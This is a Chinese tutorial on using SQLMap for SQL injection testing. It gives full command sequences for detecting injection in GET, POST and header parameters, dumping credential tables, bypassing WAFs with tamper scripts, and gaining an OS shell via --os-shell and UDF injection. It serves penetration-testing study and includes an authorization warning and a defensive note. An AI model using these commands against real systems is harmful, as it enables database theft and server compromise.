Web渗透之SQL注入-SQLMAP使用笔记
本文仅用于网络安全技术学习与授权测试交流。 任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
一、SQLMAP简介
SQLMap 是目前最成熟、最强大的开源自动化 SQL 注入检测与利用工具,由 Python 编写。它能帮你自动化完成从注入点发现到数据获取的所有繁琐流程,是 Web 渗透测试人员必备的核心工具之一。
1、核心功能
| 功能模块 | 说明 | 典型场景 |
|---|---|---|
| 注入检测 | 支持布尔盲注、时间盲注、报错注入、联合查询注入及堆叠查询注入等多种检测技术。 | 自动探测 GET、POST、Cookie、HTTP 头等所有常见注入点。 |
| 数据提取 | 可自动枚举数据库、数据表及字段,并支持通过 --dump 批量导出表中数据。 |
从数据库中批量获取用户名、密码等敏感信息。 |
| 数据库指纹 | 自动识别后端的数据库类型、版本、当前用户及权限级别,为后续攻击提供决策依据。 | 识别目标数据库后,可选择特定的UDF提权(用户自定义函数提权)脚本。 |
| 提权与命令执行 | 在高权限下(如MySQL的root用户),可通过 --os-shell 获取目标服务器的操作系统Shell。 |
控制服务器后,执行系统命令或上传、下载文件。 |
| 文件操作 | 具备读取和写入服务器文件的能力,例如读取敏感配置文件/etc/passwd,或写入一句话木马。 |
读取web.xml获取应用配置,或上传shell.php获得持续访问权限。 |
| WAF绕过 | 内置大量 tamper 脚本,通过编码、注释、大小写混淆等技术,绕过目标防火墙的检测规则。 |
当常规注入被WAF拦截时,使用--tamper参数组合不同脚本尝试绕过。 |
2、检测原理
SQLMap 自动化检测的核心在于高效处理服务器返回的不同“页面”。它通过一套复杂的启发式算法和请求/响应分析来完成:
-
前置检查: 首先发送合规请求,获取一个原始响应(包括状态码、头部和正文),作为后续所有页面的比对基准。
-
基础判定: 它会通过注入
1' AND 1=1和1' AND 1=2来观察页面差异,是布尔盲注、报错注入或时间盲注的基础。 -
核心算法:
page.py模块会对比当前响应与原始响应的相似度。当相似度接近阈值时,判断为“相似”;反之,则判断为“异常”,表明注入成功。 -
Payload生成:
checkSqlInjection函数会根据已识别的数据库类型、参数特征,动态生成并尝试成千上万的测试用例Payload,直到找到有效注入为止。
3、快速安装
-
Kali Linux: 系统默认集成,终端输入
sqlmap -h即可使用。 -
Linux / macOS:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev python sqlmap.py
-
Windows: 同样从 GitHub 仓库下载压缩包,解压后通过 Python 运行
sqlmap.py文件。 -
Docker: 从 Docker Hub 拉取
sqlmapproject/sqlmap镜像,通过容器快速运行。
4、基础用法
从检测到提取数据,可以按以下流程进行:
-
检测是否存在注入(GET型):
sqlmap -u "http://example.com/page.php?id=1"
-
检测POST型注入:
sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123"
-
携带Cookie / 随机UA:
sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=xxx" --random-agent
-
从文件加载HTTP请求:
sqlmap -r request.txt
-
获取数据库信息(注入确认后):
# 1. 获取所有数据库名 sqlmap -u "http://example.com/page.php?id=1" --dbs # 2. 获取指定数据库的所有表名 sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables # 3. 获取指定表的所有字段名 sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --columns # 4. 导出表中数据 sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --dump
5、高级功能
(1)绕过WAF
使用 --tamper 参数调用内置脚本,对Payload进行变形,以绕过目标防御。
-
大小写混淆 (
randomcase):SELECT→SeLeCt -
空白符绕过 (
space2comment):空格替换为注释/**/ -
编码混淆 (
charencode):对Payload进行URL编码 -
多脚本组合:
sqlmap -u "http://target.com/page?id=1" --tamper="randomcase,space2comment,equaltolike"
该命令组合使用随机大小写、注释替代空格和等号替换为
LIKE三种混淆技术。
(2)命令执行与提权
-
执行系统命令 (
--os-cmd):用于快速执行单条系统命令,如ipconfig或whoami。sqlmap -u "http://example.com/page.php?id=1" --os-cmd="ipconfig"
-
获取交互式Shell (
--os-shell):获取一个交互式的系统命令终端,可以进行连续操作,是提权的核心手段。sqlmap -u "http://example.com/page.php?id=1" --os-shell
(3)与Burp Suite集成
将SQLMap与Burp Suite联动,可以实现高效的自动化渗透测试。
-
方法一:代理集成。在SQLMap命令中添加
--proxy参数,将流量通过Burp Suite发送,便于观察和调试。sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
-
方法二:插件联动。在Burp Suite中安装
SQLiPy等扩展插件,可以直接将捕获的请求发送给SQLMap进行测试。 -
原理:将Burp Suite强大的请求拦截、重放能力与SQLMap的自动化注入检测能力相结合,发挥各自优势。
6、SQLMAP的payload等级
SQLMap 的 --level 和 --risk 参数,用来控制扫描的深度和风险。默认的 --level=1 和 --risk=1 是较快的初步检测,但可能错过漏洞。想获得更全面的扫描结果,就需要调整这两个参数。
(1)参数关系总览
| 维度 | 参数 | 作用 | 默认值 |
|---|---|---|---|
| 深度 | --level |
决定检查哪些参数和测试语句的数量,数值越高扫描越全面。 | 1 |
| 风险 | --risk |
决定测试语句的危险程度,数值越高越可能使用会造成数据库破坏性操作的Payload。 | 1 |
(2)--level:探测的“广度”
--level 控制的是测试的“广度”,即SQLMap会检查哪些位置,以及使用多少测试语句。
| level | 作用 | 内部逻辑详解 (参考payload.xml) |
|---|---|---|
1 (默认) |
基础测试 | 只测试最基础的GET和POST参数。 |
2 |
测试Cookie | 在 level=1 的基础上,增加对Cookie的测试。 |
3 |
测试User-Agent & Referer | 重点:除了level=2的范围,还会检测 User-Agent 和 Referer 两个HTTP头部是否存在注入点。 |
4 |
测试Host头 | 在level=3的基础上,增加了对 Host 头部及其他较少使用的HTTP头部的测试。 |
5 |
深度全面测试 | 最全面:包含最多level=5的Payload,几乎对所有可能的请求头进行测试。 |
补充说明:
level等级与Payload数量相关,例如level=3时测试的Payload超过500个,level=5时超过1000个。
(3)--risk:探测的“风险”
--risk 控制的是测试的“风险”等级,数值越高,所使用的测试技术对目标数据库的潜在破坏性越大。
| risk | 作用 | 风险说明 (参考payload.xml) |
|---|---|---|
1 (默认) |
安全测试 | 安全的测试用例,不会对数据库内容产生修改或破坏。 |
2 |
加入延时测试 | 中风险:主要增加 time-based blind 的测试,会对数据库造成额外负载。 |
3 |
加入OR语句测试 | 高风险:主要加入 OR 语句的测试。在最坏情况下(如涉及UPDATE语句),可能导致整张表被修改。 |
(4)最佳实践:如何组合使用
在实际渗透测试中,你应该采用循序渐进的策略:
-
第一步:快速探测 (
--level=1 --risk=1) 先用默认参数快速检查最浅显的漏洞,这能帮你快速缩小攻击面。 -
第二步:深入探测 (
--level=3 --risk=2) 如果第一步没发现,或者想进行全面扫描,可以提升level和risk。对绝大多数Web应用,--level=3 --risk=2的配置能很好地平衡测试深度、速度和风险,有效测试Cookie和HTTP头部注入。 -
第三步:终极探测 (
--level=5 --risk=3) 只有在获得授权且环境允许的情况下(如内部渗透测试或CTF比赛),追求100%覆盖时才用,但要做好耗时很久的准备。
操作建议: 请务 必记住,高risk和level意味着大量的测试请求和巨大的系统负载。建议先用初始参数确认漏洞存在,之后再根据需要增加这两个参数的值。
7、常见问题与调试
| 问题 | 可能原因 | 解决方案 |
|---|---|---|
| 检测到注入,但无法拖出数据 | WAF拦截、参数依赖或数据库用户权限不足 | 使用--tamper脚本;使用--level和--risk参数深入测试;检查当前用户权限 (--privileges)。 |
| 长时间无结果输出 | 网络不稳定、时间盲注延迟过高或目标为非关系型数据库(如MongoDB) | 尝试提高 --time-sec 参数;检查网络连接;通过 --dbms 指定数据库类型以提高效率。 |
报错:missing a mandatory option |
命令格式不正确,例如URL缺少协议头 | 确保URL完整,如 http://example.com?id=1。官方建议初学者可先用 --wizard 向导模式。 |
| SQLMap被WAF识别并拦截 | 默认User-Agent特征明显,或请求频率过高触发了防护 | 使用 --random-agent;通过 --delay 参数增加请求间隔;组合使用--tamper脚本。 |
8、防御与检测
-
流量与请求特征:SQLMap的请求中通常包含明显的注入测试Payload,且短时间内请求数量巨大,IP请求频率会显著升高。
-
源码级的根本防御:无论扫描手段如何高级,解决SQL注入漏洞的根本方法始终是在代码层面使用参数化查询(Parameterized Query)和预编译语句(Prepared Statement)。
二、SQLMAP-GET请求漏扫
SQLMap 的 GET 请求漏扫,就是指使用 SQLMap 这款自动化工具,对 Web 应用中所有通过 HTTP GET 方法传递参数的 URL 进行检测,以判断是否存在 SQL 注入漏洞的过程。
简单来说,当你看到一个 URL 中含有问号 ? 和参数(例如 http://example.com/page.php?id=1),SQLMap 就会自动向那个参数(id)里注入成千上万个精心构造的 SQL 测试语句,并分析服务器返回的页面内容、响应时间、HTTP 状态码等信息,从而判断是否存在 SQL 注入。
假设目标 URL 为:
http://testphp.vulnweb.com/artists.php?artist=1
第 1 步:检查注入点
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch
-
--batch:自动选择默认选项,加速检测 -
如果有注入点,SQLMap 会显示类似
Parameter: artist (GET) is vulnerable的信息
第 2 步:查询所有数据库
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
输出示例:
[*] information_schema [*] acuart
第 3 步:查询指定数据库中的所有表
假设目标数据库名为 acuart:
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables
输出示例:
| artists | | categories | | users |
第 4 步:查询指定表中的所有字段
假设目标表为 users:
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns
输出示例:
| Column | Type | | uname | varchar | | pass | varchar | | id | int |
第 5 步:导出表中的数据
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump
-
如果数据量大,可加
--stop=10限制只取前 10 条 -
输出结果会以表格形式展示,并自动保存到本地 CSV 文件中
GET 请求一键执行
# 检测注入点 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch # 列出所有数据库 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs # 枚举 acuart 数据库的所有表 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables # 枚举 users 表的所有列 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns # 导出 users 表的数据 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump
三、SQLMAP-POST请求漏扫
SQLMap进行POST请求漏扫的核心原理与GET请求并无不同,核心区别在于参数的传递位置。GET请求的参数在URL中,而POST请求的参数隐藏在请求的消息体(body)里。
因此,关键就在于如何让SQLMap知道POST数据的位置。
假设目标页面为登录接口:
POST http://testphp.vulnweb.com/login.php Body: username=admin&password=123456
第 1 步:准备请求文件(推荐)
用 Burp Suite 或浏览器开发者工具抓取 POST 请求,保存为 post.req,内容如下:
POST /login.php HTTP/1.1 Host: testphp.vulnweb.com Content-Type: application/x-www-form-urlencoded Content-Length: 29 username=admin&password=123456
第 2 步:检查注入点
sqlmap -r post.req --batch
-
若存在注入,会提示哪个参数(如
username)存在漏洞
第 3 步:查询所有数据库
sqlmap -r post.req --dbs
第 4 步:查询指定数据库中的表
sqlmap -r post.req -D acuart --tables
第 5 步:查询指定表中的字段
sqlmap -r post.req -D acuart -T users --columns
第 6 步:导出数据
sqlmap -r post.req -D acuart -T users --dump
POST 请求一键执行
# 检测注入点 sqlmap -r post.req --batch # 列出所有数据库 sqlmap -r post.req --dbs # 枚举 acuart 数据库的所有表 sqlmap -r post.req -D acuart --tables # 枚举 users 表的所有列 sqlmap -r post.req -D acuart -T users --columns # 导出 users 表的数据 sqlmap -r post.req -D acuart -T users --dump
四、SQLMAP-HTTP请求头漏扫
SQLMap 检测 HTTP 请求头注入的原理,与检测 GET/POST 参数是一样的:都是向目标位置注入恶意 Payload,并分析响应来判断是否存在漏洞。关键区别在于,你需要指定让 SQLMap 去扫描哪些 HTTP 头部。
一、核心要点
-
SQLMap 默认 只测试 GET/POST 参数,要测试 HTTP 头必须使用
--level参数。 -
--level=2开启 Cookie 测试 -
--level=3开启 User-Agent、Referer 测试 -
--level=4/5测试 Host 等更多头部
推荐直接使用
--level=3(覆盖绝大部分真实场景),并配合-r加载完整请求文件。
二、准备阶段:捕获完整 HTTP 请求
使用 Burp Suite 或浏览器开发者工具拦截一个包含待测头部的请求,保存为 headers.req。
示例 headers.req(假设要测试 User-Agent 和 Referer):
GET /search.php HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Referer: http://target.com/home Cookie: sessionid=abcd1234 X-Forwarded-For: 127.0.0.1
这个请求文件中,
User-Agent、Referer、Cookie、X-Forwarded-For都是潜在的注入点。
三、注入检测流程
3.1 基础扫描(启用头部检测)
sqlmap -r headers.req --level=3 --batch
-
--level=3:让 SQLMap 自动测试User-Agent、Referer和Cookie -
--batch:跳过交互,使用默认选项
输出示例:
Parameter: User-Agent (User-Agent) is vulnerable (Boolean-based blind)
说明 User-Agent 存在 SQL 注入。
3.2 只测试特定头部(提高效率)
如果已知目标存在 User-Agent 注入,可以用 -p 参数单独指定:
sqlmap -r headers.req -p "User-Agent" --level=3 --batch
也可以同时测试多个头:
sqlmap -r headers.req -p "User-Agent,Referer,Cookie" --level=3
3.3 强制测试所有参数(包括头部)
即使 -r 文件里没有 Cookie,你也可以加上 --cookie 并提升 --level:
sqlmap -r headers.req --level=3 --cookie="*" --batch
四、信息收集与数据提取
一旦确认某个头部存在注入,后续操作与普通注入完全一致。
4.1 获取数据库指纹
sqlmap -r headers.req -p "User-Agent" --level=3 --banner --current-user --current-db
4.2 列出所有数据库
sqlmap -r headers.req -p "User-Agent" --level=3 --dbs
4.3 枚举指定数据库的表
sqlmap -r headers.req -p "User-Agent" --level=3 -D dbname --tables
4.4 导出表中数据
sqlmap -r headers.req -p "User-Agent" --level=3 -D dbname -T users --dump
以上每条命令都必须带上
-r和--level=3(如果已识别出特定头,-p可省),否则 SQLMap 可能只测 GET 参数而忽略头部。
五、高级技巧(绕过 WAF 与隐藏)
5.1 使用 tamper 绕过头部过滤
许多 WAF 会检查 User-Agent 等头部中的 SQL 关键字,可以使用 tamper 脚本混淆:
sqlmap -r headers.req --level=3 --tamper=space2comment,randomcase --batch
5.2 随机 User-Agent 避免被拦截
sqlmap -r headers.req --level=3 --random-agent
5.3 增加延迟,降低请求频率
sqlmap -r headers.req --level=3 --delay=2
六、完整流程示例
假设你已经将包含以下头部的请求保存为 headers.req:
-
User-Agent
-
Referer
-
Cookie
-
X-Forwarded-For
完整执行命令序列:
# 1. 检测头部注入点 sqlmap -r headers.req --level=3 --batch # 2. 查看基本信息 sqlmap -r headers.req -p "User-Agent" --level=3 --banner --current-user --current-db # 3. 列出所有数据库 sqlmap -r headers.req -p "User-Agent" --level=3 --dbs # 4. 枚举表(假设数据库名为 testdb) sqlmap -r headers.req -p "User-Agent" --level=3 -D testdb --tables # 5. 导出数据(假设表名为 users) sqlmap -r headers.req -p "User-Agent" --level=3 -D testdb -T users --dump
七、常见问题与解决方案
| 问题 | 原因 | 解决方法 |
|---|---|---|
| 没有检测到头部注入 | --level 未设置或设置过低 |
使用 --level=3 或更高 |
| 扫描速度极慢 | 头部数量多 + --level 高 |
使用 -p 指定少量头部;加 --delay 控制频率 |
| WAF 拦截 | 头部 payload 特征明显 | 使用 --tamper 组合脚本;使用 --proxy 挂载代理分析 |
| 请求文件中的 Cookie 未生效 | -r 文件中已包含 Cookie |
无需额外 --cookie,但确保文件格式正确 |
八、注意事项
-
授权:未经授权对任何真实网站进行头部注入扫描均为违法行为,请在本地靶场(DVWA、sqli-labs 或 Pikachu)中练习。
-
影响:某些头部(如
X-Forwarded-For)可能会被后端记录,大量扫描可能触发告警。 -
最佳实践:先手动用单引号测试疑似注入的头部(如
User-Agent: '),确认响应异常后再用 SQLMap 自动化。
五、SQLMAP-OS-SHELL
--os-shell 是 SQLMap 中一个功能强大的参数,它的核心作用是帮你 在成功利用 SQL 注入漏洞后,进一步获取目标数据库所在操作系统的 Shell 命令行界面。
这意味着一旦满足特定条件,你就可以像在本地命令行一样远程执行操作系统命令(例如 whoami、ipconfig)。成功获取 Shell 后,你便拥有了服务器操作系统的控制权,这通常是渗透测试的最终目标之一。
请注意,--os-shell 是渗透测试中突破性的高危操作,必须在获得明确授权后进行。
核心原理:它如何实现控制?
--os-shell 的原理是“UDF(用户自定义函数)提权”。攻击者编译恶意的动态库(.dll 或 .so)上传到服务器,再由数据库调用,从而突破数据库限制,执行系统命令。
必要条件:启动它的前提
能否成功使用 --os-shell 取决于是否满足以下 全部 条件:
-
拥有高权限数据库账户:必须是拥有
FILE和CREATE等高级权限的用户(通常为root或sa)。 -
拥有文件写入权限:数据库运行账户必须对服务器的特定路径有写入权限(如 MySQL 的
plugin目录)。 -
数据库服务以高权限运行:数据库服务进程本身需以较高权限(如 Windows SYSTEM 或 Linux root)运行。
-
攻击者对路径与架构信息明晰:需要知晓 Web 应用的绝对路径,并明确目标操作系统与数据库版本(32位/64位)。
操作流程:从注入点到“shell”
理解原理后,我们来看具体操作。整个流程可以分为四个关键阶段:

结合上面的流程,实际操作步骤如下:
-
权限验证(关键) 执行命令前,使用以下前置探测命令,确保高权限(
True)是--os-shell成功的先决条件:# 确认是否为数据库管理员(DBA) sqlmap -u "http://target.com/vuln.php?id=1" --is-dba
-
信息收集(关键) 高权限确认后,搜集路径等关键信息。通常使用 SQLMap 自带的目录爆破或手动探测。 若 SQLMap 路径爆破无果,可尝试手动写入探针文件:
SELECT 'test' INTO OUTFILE '/var/www/html/test.txt';
若提示权限不足或路径不可写,则需通过报错信息、phpinfo 等信息收集手段推断出可写路径。
-
执行提权 确认高权限、已知路径、禁用安全模式后,执行:
sqlmap -u "http://target.com/vuln.php?id=1" --os-shell
之后,根据提示选择 Web 语言(如 PHP),并输入你之前获得的绝对路径。
# sqlmap 交互式提示示例 # [1] PHP # [2] ASP # [3] JSP # > 1 # > /var/www/html/
-
获取 Shell 成功后,你将进入类似系统
Shell的交互界面,可以执行whoami、ls等命令。如果你遇到--os-shell执行失败的情况(如命令无返回或没有任何交互式提示),可以参考下文“常见失败与解决方案”尝试排查。常见失败与解决方案
当执行
--os-shell失败时,可以按照以下顺序逐一排查:-
粘贴路径无响应? 可能是路径包含特殊字符导致 SQLMap 解析异常。可尝试不同路径格式或利用 Burp Suite 修改十六进制路径绕过。
-
命令无回显? 可能是 WAF/IPS 拦截或数据库权限不足。可组合
--tamper脚本,或核实secure_file_priv权限。 -
Windows 写入失败? 若路径含中文,先移入无中文目录的探针;若返回
NULL,确认 MySQL 目录有写入权限。
针对性建议:由于
--os-shell依赖的漏洞环境和系统状态各不相同,通用的解决方案可能并不适用。建议将你碰到的具体错误输出(报错信息、Payload 等) 和目标环境(数据库版本、中间件、操作系统等) 一同提交,以便进行更精准的问题分析。进阶定制:打造专属 UDF
如果 SQLMap 内置的 UDF 动态库因版本、架构不匹配或被杀软查杀而导致
--os-shell提权失败,你可以编译自己的 UDFso/dll文件:-
编译完成后,使用 SQLMap 的
--udf-inject和--shared-lib参数指定。sqlmap -u "http://target.com/vuln.php?id=1" --udf-inject --shared-lib=/path/to/your/custom_udf.so
-
总的来说,--os-shell 是渗透测试进入目标系统的关键一步,它的成功依赖于对数据库技术和系统权限的深入理解,并在实践中不断积累经验
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐

所有评论(0)